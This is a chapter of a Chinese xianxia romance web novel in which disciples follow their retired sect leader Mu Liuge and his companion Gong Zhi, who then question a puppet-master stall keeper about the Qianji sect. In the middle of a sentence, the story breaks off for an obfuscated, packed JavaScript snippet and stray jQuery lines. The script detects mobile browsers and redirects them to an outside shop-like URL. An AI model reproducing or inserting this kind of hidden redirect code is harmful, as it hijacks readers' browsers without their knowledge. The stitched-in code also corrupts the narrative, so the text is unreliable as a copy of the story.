两人背后,约莫十几步的位置,鬼鬼祟祟冒出来两颗脑袋,一个是温良,一个是陆英英。
温良道:“你说门主要是知道了我们跟着他一起离开天枢,会作何感想?”
陆英英道:“一定是感动的无以复加!”
温良摇了摇头道:“不对,我觉得他一定会觉得我们脑子锈了,放着大好的前路不走,非要跟着他隐退。”
陆英英气道:“那能怎么办?!如今人人都忙着捧新门主,谁还来搭理我们,那派发任务的修士,门主一离开就改用鼻孔看我,我以前怎么没看出来他是那种货色……”
温良低声道:“行了,我看为长远计,还是得抱紧慕门主这条大腿——”
陆英英道:“怎么说?”
温良分析得头头是道:“你看他这几日的行程,先是去了青莲寺,又是来了天屹城,跟一美男子并肩而行,无比亲密,毫不避讳旁人,你猜是为何?”
陆英英道:“见异思迁呗。”
温良满脸黑线:“非也,你只看到了第一层。”
陆英英:?
温良道:“这其实是门主大人的激将妙法。门主大人被宫执骗财骗色重伤之后,必然怀恨在心,想要报复回来。但是碍于宫执的身份乃妖族头领,不能冒然开战,所以——他决定跟一美男子卿卿我我,故作亲密浪荡之态,引发宫执妒忌,然后再——”他手掌五指一捏,作出捏碎东西化为齑粉的手势。
陆英英点点头道:“有理,还是你懂!”
温良沉着脸道:“所以,门主只是暂时退居幕后,改日必有重起雄风之时,你我必须坚定追随在他身边,不能被眼前之事迷惑。”
陆英英道:“那我们该怎么办?”
温良道:“待会门主问你,为什么舍弃天枢职位,赶来追随他,你就说——”
“砰砰”两声。
两人头顶挨了两记爆栗。
两人捂着自己的头顶,疼得倒抽冷气,转回头去。
慕留歌怀抱双臂,一手拿着桃花面具,好整以暇地看着他们,新宠狐面美男子,则是垂手站在一边。
温良,陆英英道:“门主!”
对面还没发话,温良抢先道:“我们担忧门主安危,知道您此行没有身边人照拂,想替您分忧!”
陆英英跟着一个劲儿点头。
慕留歌掀起眼皮,漠然道:“我的人就在身边,你们分忧个什么劲。”
温良顿住了,脑子转得飞快:“我们……呃……”
慕留歌轻叹一声道:“不是留给你们大半年的修炼资源了么,温良就算了,陆英英,你在我手下这么多年,也该独当一面了吧。”
陆英英为难道:“门主不知,现在天枢由尹长风主事,主张见妖就杀,不仅杀一只,而是屠戮整个妖族的据点,无论当众妖物有没有作恶,我实在……下不去手。”
慕留歌道:“你不愿意杀,就不杀,谁还逼你了?不是还有宁秋亭么?”
陆英英道:“是没有人逼我们,可是宁秋亭笃信您和宫执有染,不肯接纳我们,尹长风又行事狠辣阴毒,我们不想与之为伍……门主,我们是您手下的人,您卸任以后,天枢派给我们的任务都是些鸡零狗碎的杂活,排名一落千丈不说,日常连摸剑的机会都没有。我们可是镇脉专门斩妖除魔的修士,又不是后勤,我实在一天都待不下去!”
慕留歌轻笑道:“你们不想坐冷板凳,所以又回来找我,你们笃信我还会回天枢身居高位,此举是为以后做打算。”
两人没有说话,算作默认。
慕留歌道:“我不会再回天枢,也没有什么捣毁妖族的大计划。如果你们只是想要给自己谋个前路,可以回去了。”
两人面色一变,齐声道:“门主?!”
慕留歌轻飘飘地转身,拉起宫执的手,准备离去:“后会有期。”
两人互相对看一眼,终于还是喊出声道:“门主!”
慕留歌停下脚步。
陆英英道:“我们在你手下的时候,你让我们不要想别的,只管做事……虽然你的任务最多最累,可是却都是实打实地在帮助有需要的人。我们想跟着你出来,不全是要谋出路!我们是自愿追随你的!”
温良道:“我们已经把天枢的腰牌还了回去,就算你不要我们了,我们也不会再回去。今后就做一个逍遥世间行侠仗义的散修,没什么不好!”
慕留歌默然无语,桃花眸黝黑而深邃,看上去无动于衷,眉毛却微微蹙起。
宫执瞥了他一眼,知道他在为难。
他了解留歌,此人一贯嘴上说一分,行为上做九分。嘴上说着对徒弟们无情,实则将多年来赚取的酬劳、丹药、功法,大部分都留给了他们。表面上撵人走,实际是不想自己耽误了他们的前程。
慕留歌感受到自己的手被轻轻捏了一下,他转头看向身边的人。
宫执低声道:“留歌,有的时候,别人以为的好,对他们而言未必是好。”
慕留歌笑了笑,这是他那晚对着宫执说过的话。
不过对方委实高估他了,慕留歌此刻最大的不情愿,是不想自己去到哪里,屁股后面都跟着两个妨碍他过二人世界的累赘。
慕留歌叹了口气,终于妥协:“行吧,你们愿意跟,就跟上来好了。”
两人欢呼一声,满脸喜色地跟了上去。
陆英英问道:“门主门主,那我们接下来是去做什么,修行还是打怪?!”
慕留歌手搭在宫执肩上,懒散道:“吃喝玩乐。”
陆英英:“……”
慕留歌言行一致,说是吃喝玩乐,还真的是吃喝玩乐。
两人带着各自的假面,在街上一会儿咬耳朵,一会儿买点零儿八碎的玩意,晃晃悠悠地,一点正事也不干。
宫执表面上嘻嘻哈哈,实际走过停留的摊位,俱是木艺、雕刻有关的工艺品的摊位,和摊主聊着天,言语中询问着千机门相关的事。可是一连问了数人,得到的回答都是模棱两可的,不是他们不想答,而是内门与外门弟子相差巨大,许多机密他们实在不了解。
慕留歌一般不发表评论,晃着扇子有一搭没一搭扇风。
宫执心想不能这样下去,他走到了整条街上,最受欢迎也是最拥挤的一个木雕工艺品摊位前,拿起一个木雕摆件道:“木雕狐狸,倒是少见。”
摊主大热天地,却围着个面纱,招呼道:“客官喜欢,就拿一个回去。”
宫执道:“留歌你看,这像是哪家的手艺?”
慕留歌笑眯眯道:“这个么?堇阳有一家比这个雕得好多了,没什么稀奇的。”
宫执点了点头,将木雕放了回去。
摊主一听不乐意了:“这位公子,你外地来的吧?我从没听说过堇阳有什么傀术世家,怎么能跟我们千机门的手艺比?”
宫执道:“我们是不懂,都说千机门的傀儡术冠绝天下,可是在我看来,这就是一头普通的雕像。”
慕留歌道:“谁晓得傀术存不存在,说不定只是诓人的幌子。我们还是去别处看看吧。”
两人转身欲走,宫执的手却被猝然抓住,摊主的手冰凉又坚硬。
摊主道:“你等会儿,你说傀术不存在?”
宫执瞪大眼睛,眼睁睁看着面前那摊主将面纱扯掉,露出一张木刻的脸,下巴颏直直地掉落了下去,原来是个虚做的关节。
木傀儡背后,走出来一壮年男子,左手五指连
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555365|204428||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着白色丝线,是个傀术师,用木傀儡代替自己在摊前卖货。其实那傀儡雕得粗糙,也没有多像真人,难怪要围着纱巾。
路人经过,好笑地掩嘴笑了几声,大抵是经常看见外地人被吓到的场景,觉得有趣。
宫执吃惊道:“这是你的傀儡?!”
男子声音中透着掩盖不住的骄傲:“当然,我可是正儿八经在千机门修习过傀术的。”
宫执却敏锐地发现,男子的左手一直虚掩着放在身后,不肯拿出来。他接着夸赞道:“确实厉害,你是这条街上,我见过唯一一个能控制人形傀儡的,你有真本事!”
旁边经过的本地居民笑道:“他十年前是天屹城木刻大会的第一,是个天纵奇才,你们买他的东西准没错。”
宫执道:“木刻大会是什么,很厉害么?”
“当然厉害,前三名可以进到千机门修行,是寒门或者平民接触傀术唯一的机会。”
宫执笑道原来如此,付了钱,将狐狸木雕买了过来。
一旁还有外地赶来参与天枢赐剑大典的修士,也在路边闲逛,不屑扫了一眼摊子,道:“能在宗门修炼,谁出来摆摊啊,切。什么天才,我看是遇到瓶颈修炼不下去了吧,也就糊弄糊弄凡人。”
“就是就是,千机门有本事的早就跟着宁槐去天枢了,谁还出来啊……”
几人撂下一两句评论,事不关己地离开了。
摊主苦笑了两声,倒也没反驳,看见宫执还站在原地,“客官还有事么?”
宫执道:“你是木刻大会的第一?”
摊主道:“以前是,现在么……”
宫执道:“怎么才能参加这个大会?”
摊主道:“三年一届,再等两年,春天三月差不多吧。”
“喔。”宫执道:“你的右手,手指断过吧。”
摊主动作微顿,又恢复如常。右手废掉一事,一直是他心头难以去除的一块疤痕。他傀术天分奇高,做出来的傀儡能够与真人混淆。可是早年为了钱,做傀儡去行暗杀之事,事情暴露,他被对方的势力报复,削掉了右手的三根手指,从此只能以左手执刀,也无法再傀术上再有造诣……
摊主操控傀线的五指微微用力,随时准备有所动作。他能感受到面前几人并非常人,特别是那看上去懒散的桃花面具男子,体内的灵力深不见底。
宫执垂眸,端着手中的狐狸雕刻把玩,轻点狐狸的头,那小东西还会发出呦呦叫声。
宫执道:“我跟你道歉,这只狐狸并非平平无奇,你在它身上用了一点傀术,就让它们不再是冷冰冰的木疙瘩,所以你的摊位在整条街最受欢迎,他们买你的东西,是真的被木雕所打动。”
摊主淡淡地笑了笑,手指暗中收拢,将傀线撤下。
慕留歌晃了晃扇子,打了个哈欠,将下巴猫似的垫在宫执颈窝:“好了没有,你也停太久了。”
宫执轻轻揉了揉他的额发,以安抚。
背后的温良和陆英英起了一身鸡皮疙瘩。
摊主道:“你们不是买木雕而来的吧。”
宫执道:“实不相瞒,我们对千机门很感兴趣。”
摊主道:“你们若是愿意等,今夜我收工了以后,跟你们聊两句也无妨,不过我早就从千机门离开了,知道的也不多。”
慕留歌从怀中掏出明晃晃的银票,放在摊位上,弯起眉眼道:“这些木雕,我全要了,多出来的全当我请阁下喝一壶茶。”
摊主:“我岂是……”
慕留歌又掏出来了一张,又一张,一共三张银票。
摊主:“……”
摊主三两下将傀儡调理好,对帮工的伙计嘱咐了些什么,对宫执二人道:“跟我来。”